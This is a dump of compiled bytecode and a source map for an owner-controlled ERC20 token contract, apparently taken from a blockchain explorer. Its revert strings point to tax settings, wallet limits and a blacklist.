b60008115159050919050565b6135d4816135bf565b82525050565b60006020820190506135ef60008301846135cb565b92915050565b6135fe81613549565b82525050565b600060208201905061361960008301846135f5565b92915050565b600060208284031215613635576136346134e1565b5b600061364384828501613534565b91505092915050565b613655816135bf565b811461366057600080fd5b50565b6000813590506136728161364c565b92915050565b6000806040838503121561368f5761368e6134e1565b5b600061369d85828601613534565b92505060206136ae85828601613663565b9150509250929050565b6000806000606084860312156136d1576136d06134e1565b5b60006136df86828701613534565b93505060206136f086828701613534565b92505060406137018682870161356a565b9150509250925092565b600060ff82169050919050565b6137218161370b565b82525050565b600060208201905061373c6000830184613718565b92915050565b60008060408385031215613759576137586134e1565b5b60006137678582860161356a565b92505060206137788582860161356a565b9150509250929050565b60006080820190506137976000830187613718565b6137a46020830186613718565b6137b16040830185613718565b6137be6060830184613718565b95945050505050565b6137d08161350b565b82525050565b60006060820190506137eb60008301866137c7565b6137f860208301856137c7565b61380560408301846137c7565b949350505050565b6138168161370b565b811461382157600080fd5b50565b6000813590506138338161380d565b92915050565b60008060008060808587031215613853576138526134e1565b5b600061386187828801613824565b945050602061387287828801613824565b935050604061388387828801613824565b925050606061389487828801613824565b91505092959194509250565b6000602082840312156138b6576138b56134e1565b5b60006138c48482850161356a565b91505092915050565b60006020820190506138e260008301846137c7565b92915050565b600080600060608486031215613901576139006134e1565b5b600061390f86828701613534565b935050602061392086828701613534565b925050604061393186828701613534565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6139788261346b565b810181811067ffffffffffffffff8211171561399757613996613940565b5b80604052505050565b60006139aa6134d7565b90506139b6828261396f565b919050565b600067ffffffffffffffff8211156139d6576139d5613940565b5b602082029050602081019050919050565b600080fd5b60006139ff6139fa846139bb565b6139a0565b90508083825260208201905060208402830185811115613a2257613a216139e7565b5b835b81811015613a4b5780613a378882613534565b845260208401935050602081019050613a24565b5050509392505050565b600082601f830112613a6a57613a6961393b565b5b8135613a7a8482602086016139ec565b91505092915050565b60008060408385031215613a9a57613a996134e1565b5b600083013567ffffffffffffffff811115613ab857613ab76134e6565b5b613ac485828601613a55565b9250506020613ad585828601613663565b9150509250929050565b60008060408385031215613af657613af56134e1565b5b6000613b0485828601613534565b9250506020613b1585828601613534565b9150509250929050565b60008060008060808587031215613b3957613b386134e1565b5b6000613b4787828801613534565b9450506020613b5887828801613534565b9350506040613b698782880161356a565b9250506060613b7a8782880161356a565b91505092959194509250565b6000819050919050565b6000613bab613ba6613ba1846134eb565b613b86565b6134eb565b9050919050565b6000613bbd82613b90565b9050919050565b6000613bcf82613bb2565b9050919050565b613bdf81613bc4565b82525050565b6000602082019050613bfa6000830184613bd6565b92915050565b6000608082019050613c1560008301876135f5565b613c2260208301866135f5565b613c2f60408301856135f5565b613c3c60608301846135f5565b95945050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613c7b602083613430565b9150613c8682613c45565b602082019050919050565b60006020820190508181036000830152613caa81613c6e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613ceb82613549565b9150613cf683613549565b9250828203905081811115613d0e57613d0d613cb1565b5b92915050565b6000613d1f82613549565b9150613d2a83613549565b9250828201905080821115613d4257613d41613cb1565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115613d9f57808604811115613d7b57613d7a613cb1565b5b6001851615613d8a5780820291505b8081029050613d9885613d48565b9450613d5f565b94509492505050565b600082613db85760019050613e74565b81613dc65760009050613e74565b8160018114613ddc5760028114613de657613e15565b6001915050613e74565b60ff841115613df857613df7613cb1565b5b8360020a915084821115613e0f57613e0e613cb1565b5b50613e74565b5060208310610133831016604e8410600b8410161715613e4a5782820a905083811115613e4557613e44613cb1565b5b613e74565b613e578484846001613d55565b92509050818404811115613e6e57613e6d613cb1565b5b81810290505b9392505050565b6000613e8682613549565b9150613e918361370b565b9250613ebe7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613da8565b905092915050565b6000613ed182613549565b9150613edc83613549565b9250828202613eea81613549565b91508282048414831517613f0157613f00613cb1565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613f4282613549565b9150613f4d83613549565b925082613f5d57613f5c613f08565b5b828204905092915050565b7f496e76616c69642053657474696e677300000000000000000000000000000000600082015250565b6000613f9e601083613430565b9150613fa982613f68565b602082019050919050565b60006020820190508181036000830152613fcd81613f91565b9050919050565b6000613fdf8261370b565b9150613fea8361370b565b9250828201905060ff81111561400357614002613cb1565b5b92915050565b7f43616e2774207365742074617820746f6f206869676800000000000000000000600082015250565b600061403f601683613430565b915061404a82614009565b602082019050919050565b6000602082019050818103600083015261406e81614032565b9050919050565b7f496e73756666696369656e74204554482062616c616e63650000000000000000600082015250565b60006140ab601883613430565b91506140b682614075565b602082019050919050565b600060208201905081810360008301526140da8161409e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061411b82613549565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361414d5761414c613cb1565b5b600182019050919050565b600061416382613549565b915061416e83613549565b925061419b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613da8565b905092915050565b60006040820190506141b860008301856137c7565b6141c560208301846135f5565b9392505050565b6000815190506141db8161364c565b92915050565b6000602082840312156141f7576141f66134e1565b5b6000614205848285016141cc565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061426a602683613430565b91506142758261420e565b604082019050919050565b600060208201905081810360008301526142998161425d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006142fc602483613430565b9150614307826142a0565b604082019050919050565b6000602082019050818103600083015261432b816142ef565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061438e602283613430565b915061439982614332565b604082019050919050565b600060208201905081810360008301526143bd81614381565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614420602583613430565b915061442b826143c4565b604082019050919050565b6000602082019050818103600083015261444f81614413565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006144b2602383613430565b91506144bd82614456565b604082019050919050565b600060208201905081810360008301526144e1816144a5565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000614544602983613430565b915061454f826144e8565b604082019050919050565b6000602082019050818103600083015261457381614537565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865205f6d617860008201527f5478416d6f756e742e0000000000000000000000000000000000000000000000602082015250565b60006145d6602983613430565b91506145e18261457a565b604082019050919050565b60006020820190508181036000830152614605816145c9565b9050919050565b7f426c61636b6c69737465642c2063616e27742074726164650000000000000000600082015250565b6000614642601883613430565b915061464d8261460c565b602082019050919050565b6000602082019050818103600083015261467181614635565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785760008201527f616c6c65742e0000000000000000000000000000000000000000000000000000602082015250565b60006146d4602683613430565b91506146df82614678565b604082019050919050565b60006020820190508181036000830152614703816146c7565b9050919050565b6000815190506147198161351d565b92915050565b600060208284031215614735576147346134e1565b5b60006147438482850161470a565b91505092915050565b6000819050919050565b600061477161476c6147678461474c565b613b86565b613549565b9050919050565b61478181614756565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6147bc8161350b565b82525050565b60006147ce83836147b3565b60208301905092915050565b6000602082019050919050565b60006147f282614787565b6147fc8185614792565b9350614807836147a3565b8060005b8381101561483857815161481f88826147c2565b975061482a836147da565b92505060018101905061480b565b5085935050505092915050565b600060a08201905061485a60008301886135f5565b6148676020830187614778565b818103604083015261487981866147e7565b905061488860608301856137c7565b61489560808301846135f5565b9695505050505050565b600060c0820190506148b460008301896137c7565b6148c160208301886135f5565b6148ce6040830187614778565b6148db6060830186614778565b6148e860808301856137c7565b6148f560a08301846135f5565b979650505050505050565b60008151905061490f81613553565b92915050565b60008060006060848603121561492e5761492d6134e1565b5b600061493c86828701614900565b935050602061494d86828701614900565b925050604061495e86828701614900565b9150509250925092565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b600061499e601d83613430565b91506149a982614968565b602082019050919050565b600060208201905081810360008301526149cd81614991565b9050919050565b600081905092915050565b50565b60006149ef6000836149d4565b91506149fa826149df565b600082019050919050565b6000614a10826149e2565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b6000614a76603a83613430565b9150614a8182614a1a565b604082019050919050565b60006020820190508181036000830152614aa581614a69565b905091905056fea2646970667358221220e81e7d7136b442e15a243855da1aee0e2303292879365a83c20a67632047629264736f6c63430008110033

Deployed Bytecode Sourcemap

3279:14203:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6213:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7044:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6490:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3681:47;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8700:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7213:266;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3616:58;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6399:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7487:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10087:386;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4612:32;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;:::i;:::-;;;;;;;;8429:164;;;;;;;;;;;;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;11397:111;;;;;;;;;;;;;:::i;:::-;;9393:336;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6593:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10481:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1266:94;;;;;;;;;;;;;:::i;:::-;;3558:51;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10705:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4065:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1043:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11126:257;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6304:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7710:225;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3397:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6718:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8851:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3735:47;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4651:33;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;:::i;:::-;;;;;;;;3791:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9169:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9737:338;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6893:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11516:155;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10917:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1368:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9016:141;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3369:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4124:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4564:39;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;:::i;:::-;;;;;;;;6213:83;6250:13;6283:5;;;;;;;;;;;;;;;;;6276:12;;6213:83;:::o;7044:161::-;7119:4;7136:39;7145:12;:10;:12::i;:::-;7159:7;7168:6;7136:8;:39::i;:::-;7193:4;7186:11;;7044:161;;;;:::o;6490:95::-;6543:7;6570;;6563:14;;6490:95;:::o;3681:47::-;;;;;;;;;;;;;;;;;;;;;;:::o;8700:143::-;1189:12;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8825:10:::1;8795:18;:27;8814:7;8795:27;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;8700:143:::0;;:::o;7213:266::-;7311:4;7328:36;7338:6;7346:9;7357:6;7328:9;:36::i;:::-;7375:74;7384:6;7392:12;:10;:12::i;:::-;7442:6;7406:11;:19;7418:6;7406:19;;;;;;;;;;;;;;;:33;7426:12;:10;:12::i;:::-;7406:33;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;7375:8;:74::i;:::-;7467:4;7460:11;;7213:266;;;;;:::o;3616:58::-;;;;;;;;;;;;;;;;;;;;;;:::o;6399:83::-;6440:5;3936:1;6458:16;;6399:83;:::o;7487:215::-;7575:4;7592:80;7601:12;:10;:12::i;:::-;7615:7;7661:10;7624:11;:25;7636:12;:10;:12::i;:::-;7624:25;;;;;;;;;;;;;;;:34;7650:7;7624:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;7592:8;:80::i;:::-;7690:4;7683:11;;7487:215;;;;:::o;10087:386::-;1189:12;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10186:20:::1;3936:1;10233:2;:13;;;;:::i;:::-;10224:4;10220:1;10210:7;;:11;;;;:::i;:::-;:18;;;;:::i;:::-;10209:38;;;;:::i;:::-;10186:61;;10281:15;10266:11;:30;;:68;;;;;10319:15;10300;:34;;10266:68;10258:97;;;;;;;;;;;;:::i;:::-;;;;;;;;;3936:1;10395:2;:13;;;;:::i;:::-;10380:11;:29;;;;:::i;:::-;10366:11;:43;;;;3936:1;10451:2;:13;;;;:::i;:::-;10432:15;:33;;;;:::i;:::-;10420:9;:45;;;;10175:298;10087:386:::0;;:::o;4612:32::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8429:164::-;8471:17;8489;8507;8543:15;;;;;;;;;;;8559;;;;;;;;;;;8575:9;;;;;;;;;;;8536:49;;;;;;8429:164;;;:::o;11397:111::-;1189:12;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11490:10:::1;;11472:15;:28;;;;:::i;:::-;11462:7;:38;;;;11397:111::o:0;9393:336::-;1189:12;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9516:9:::1;9567:5;9558:6;9543:12;9528;:27;;;;:::i;:::-;:36;;;;:::i;:::-;:44;;;;:::i;:::-;9516:56;;;;9599:2;9591:4;:10;;9583:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;9648:43;;;;;;;;9652:12;9648:43;;;;;;9665:12;9648:43;;;;;;9678:6;9648:43;;;;;;9685:5;9648:43;;;;::::0;9639:6:::1;:52;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9707:14;;;;;;;;;;9505:224;9393:336:::0;;;;:::o;6593:117::-;6659:7;6686;:16;6694:7;6686:16;;;;;;;;;;;;;;;;6679:23;;6593:117;;;:::o;10481:216::-;1189:12;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3936:1:::1;10635:2;:13;;;;:::i;:::-;10612:19;:37;;;;:::i;:::-;10595:14;:54;;;;10676:13;10660;:29;;;;10481:216:::0;;:::o;1266:94::-;1189:12;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1331:21:::1;1349:1;1331:9;:21::i;:::-;1266:94::o:0;3558:51::-;;;;;;;;;;;;;;;;;;;;;;:::o;10705:200::-;1189:12;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10809:9:::1;10784:21;:34;;10776:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;10866:10;10858:28;;:39;10887:9;10858:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;10705:200:::0;:::o;4065:52::-;;;;:::o;1043:87::-;1089:7;1116:6;;;;;;;;;;;1109:13;;1043:87;:::o;11126:257::-;1189:12;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11275:18:::1;11257:15;;:36;;;;;;;;;;;;;;;;;;11322:18;11304:15;;:36;;;;;;;;;;;;;;;;;;11363:12;11351:9;;:24;;;;;;;;;;;;;;;;;;11126:257:::0;;;:::o;6304:87::-;6343:13;6376:7;;;;;;;;;;;;;;;;;6369:14;;6304:87;:::o;7710:225::-;7803:4;7820:85;7829:12;:10;:12::i;:::-;7843:7;7889:15;7852:11;:25;7864:12;:10;:12::i;:::-;7852:25;;;;;;;;;;;;;;;:34;7878:7;7852:34;;;;;;;;;;;;;;;;:52;;;;:::i;:::-;7820:8;:85::i;:::-;7923:4;7916:11;;7710:225;;;;:::o;3397:19::-;;;;;;;;;;;;;:::o;6718:167::-;6796:4;6813:42;6823:12;:10;:12::i;:::-;6837:9;6848:6;6813:9;:42::i;:::-;6873:4;6866:11;;6718:167;;;;:::o;8851:157::-;1189:12;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8990:10:::1;8953:25;:34;8979:7;8953:34;;;;;;;;;;;;;;;;:47;;;;;;;;;;;;;;;;;;8851:157:::0;;:::o;3735:47::-;;;;;;;;;;;;;;;;;:::o;4651:33::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3791:19::-;;;;:::o;9169:216::-;1189:12;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9277:9:::1;9273:105;9295:8;:15;9291:1;:19;9273:105;;;9361:5;9331:14;:27;9346:8;9355:1;9346:11;;;;;;;;:::i;:::-;;;;;;;;9331:27;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;9312:3;;;;;:::i;:::-;;;;9273:105;;;;9169:216:::0;;:::o;9737:338::-;1189:12;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9861:9:::1;9912:5;9903:6;9888:12;9873;:27;;;;:::i;:::-;:36;;;;:::i;:::-;:44;;;;:::i;:::-;9861:56;;;;9944:2;9936:4;:10;;9928:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;9994:43;;;;;;;;9998:12;9994:43;;;;;;10011:12;9994:43;;;;;;10024:6;9994:43;;;;;;10031:5;9994:43;;;;::::0;9984:7:::1;:53;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10053:14;;;;;;;;;;9850:225;9737:338:::0;;;;:::o;6893:143::-;6974:7;7001:11;:18;7013:5;7001:18;;;;;;;;;;;;;;;:27;7020:7;7001:27;;;;;;;;;;;;;;;;6994:34;;6893:143;;;;:::o;11516:155::-;1189:12;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11658:5:::1;11640:15;:23;;;;:::i;:::-;11615:14;:22;11630:6;11615:22;;;;;;;;;;;;;;;:48;;;;11516:155:::0;;:::o;10917:201::-;1189:12;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11056:10:::1;11049:27;;;11077:3;11101:8;11097:2;:12;;;;:::i;:::-;11082:13;:27;;;;:::i;:::-;11049:61;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10917:201:::0;;;;:::o;1368:192::-;1189:12;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1477:1:::1;1457:22;;:8;:22;;::::0;1449:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1533:19;1543:8;1533:9;:19::i;:::-;1368:192:::0;:::o;9016:141::-;1189:12;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9136:13:::1;9110:14;:23;9125:7;9110:23;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;9016:141:::0;;:::o;3369:21::-;;;;;;;;;;;;;:::o;4124:51::-;;;;:::o;4564:39::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;449:115::-;502:15;545:10;530:26;;449:115;:::o;7943:335::-;8053:1;8036:19;;:5;:19;;;8028:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8134:1;8115:21;;:7;:21;;;8107:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8216:6;8186:11;:18;8198:5;8186:18;;;;;;;;;;;;;;;:27;8205:7;8186:27;;;;;;;;;;;;;;;:36;;;;8254:7;8238:32;;8247:5;8238:32;;;8263:6;8238:32;;;;;;:::i;:::-;;;;;;;;7943:335;;;:::o;12926:1513::-;13028:1;13012:18;;:4;:18;;;13004:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13105:1;13091:16;;:2;:16;;;13083:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13175:1;13166:6;:10;13158:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13251:11;;13241:6;:21;;:56;;;;13266:25;:31;13292:4;13266:31;;;;;;;;;;;;;;;;;;;;;;;;;13241:56;13233:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;13363:14;:20;13378:4;13363:20;;;;;;;;;;;;;;;;;;;;;;;;;13362:21;:44;;;;;13388:14;:18;13403:2;13388:18;;;;;;;;;;;;;;;;;;;;;;;;;13387:19;13362:44;13354:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;13452:25;:29;13478:2;13452:29;;;;;;;;;;;;;;;;;;;;;;;;;13448:134;;13530:9;;13520:6;13504:13;13514:2;13504:9;:13::i;:::-;:22;;;;:::i;:::-;:35;;13496:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;13448:134;13635:14;;13607:24;13625:4;13607:9;:24::i;:::-;:42;;:92;;;;;13685:13;;13673:9;;:25;;;;:::i;:::-;13653:15;:46;;13607:92;:105;;;;;13704:8;;;;;;;;;;;13703:9;13607:105;:121;;;;;13724:4;;;;;;;;;;;13716:12;;:4;:12;;;;13607:121;:140;;;;;13740:7;:5;:7::i;:::-;13732:15;;:4;:15;;;;13607:140;:157;;;;;13757:7;:5;:7::i;:::-;13751:13;;:2;:13;;;;13607:157;13603:192;;;13779:16;:14;:16::i;:::-;13603:192;13835:6;13818:7;:13;13826:4;13818:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;13852:22;13877:6;13852:31;;13908:18;:24;13927:4;13908:24;;;;;;;;;;;;;;;;;;;;;;;;;13907:25;:52;;;;;13937:18;:22;13956:2;13937:22;;;;;;;;;;;;;;;;;;;;;;;;;13936:23;13907:52;13904:436;;;13992:39;14006:6;14014:4;14026;;;;;;;;;;;14020:10;;:2;:10;;;13992:13;:39::i;:::-;13975:56;;14058:4;;;;;;;;;;;14050:12;;:4;:12;;;:42;;;;;14077:15;14066:7;;:26;;14050:42;14046:283;;;14151:20;;14133:15;:38;;;;:::i;:::-;14112:14;:18;14127:2;14112:18;;;;;;;;;;;;;;;:59;;;;14046:283;;;14238:1;14214:14;:20;14229:4;14214:20;;;;;;;;;;;;;;;;:25;14210:99;;14288:14;:20;14303:4;14288:20;;;;;;;;;;;;;;;;14270:15;:38;14262:47;;;;;;14210:99;14046:283;13904:436;14367:14;14352:7;:11;14360:2;14352:11;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;14412:2;14397:34;;14406:4;14397:34;;;14416:14;14397:34;;;;;;:::i;:::-;;;;;;;;12993:1446;12926:1513;;;:::o;1568:173::-;1624:16;1643:6;;;;;;;;;;;1624:25;;1669:8;1660:6;;:17;;;;;;;;;;;;;;;;;;1724:8;1693:40;;1714:8;1693:40;;;;;;;;;;;;1613:128;1568:173;:::o;14447:1596::-;5084:4;5073:8;;:15;;;;;;;;;;;;;;;;;;14513:26:::1;14612:18;:28;;;14577:18;:34;;;14542:18;:34;;;:69;;;;:::i;:::-;:98;;;;:::i;:::-;14513:127;;14677:1;14656:18;:22;14653:938;;;14694:18;14715:36;14732:18;14715:16;:36::i;:::-;14694:57;;14766:23;14842:18;14805;:34;;;14792:10;:47;;;;:::i;:::-;:68;;;;:::i;:::-;14766:94;;14875:23;14951:18;14914;:34;;;14901:10;:47;;;;:::i;:::-;:68;;;;:::i;:::-;14875:94;;14984:17;15048:18;15017;:28;;;15004:10;:41;;;;:::i;:::-;:62;;;;:::i;:::-;14984:82;;15102:1;15084:15;:19;15081:165;;;15131:15;;;;;;;;;;;15123:33;;:50;15157:15;15123:50;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;15229:1;15192:18;:34;;:38;;;;15081:165;15281:1;15263:15;:19;15260:165;;;15310:15;;;;;;;;;;;15302:33;;:50;15336:15;15302:50;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;15408:1;15371:18;:34;;:38;;;;15260:165;15454:1;15442:9;:13;15439:141;;;15483:9;;;;;;;;;;;15475:27;;:38;15503:9;15475:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;15563:1;15532:18;:28;;:32;;;;15439:141;14679:912;;;;14653:938;15639:1;15609:18;:27;;;:31;15606:356;;;15656:9;15698:1;15668:18;:27;;;:31;;;;:::i;:::-;15656:43;;15714:14;15761:4;15731:18;:27;;;:34;;;;:::i;:::-;15714:51;;15780:14;15797:22;15814:4;15797:16;:22::i;:::-;15780:39;;15850:1;15838:9;:13;15834:70;;;15870:34;15883:9;15894;15870:12;:34::i;:::-;15834:70;15949:1;15919:18;:27;;:31;;;;15641:321;;;15606:356;15979:16;;;;;;;;;;16020:15;16008:9;:27;;;;14492:1551;5122:5:::0;5111:8;;:16;;;;;;;;;;;;;;;;;;14447:1596::o;11732:1186::-;11811:7;11830:19;11852:6;11830:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11873:6;11869:56;;;11906:7;11895:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11869:56;11937:23;11996:3;11972:8;:21;;;11963:30;;:6;:30;;;;:::i;:::-;:36;;;;:::i;:::-;11937:62;;12010:23;12069:3;12045:8;:21;;;12036:30;;:6;:30;;;;:::i;:::-;:36;;;;:::i;:::-;12010:62;;12083:17;12130:3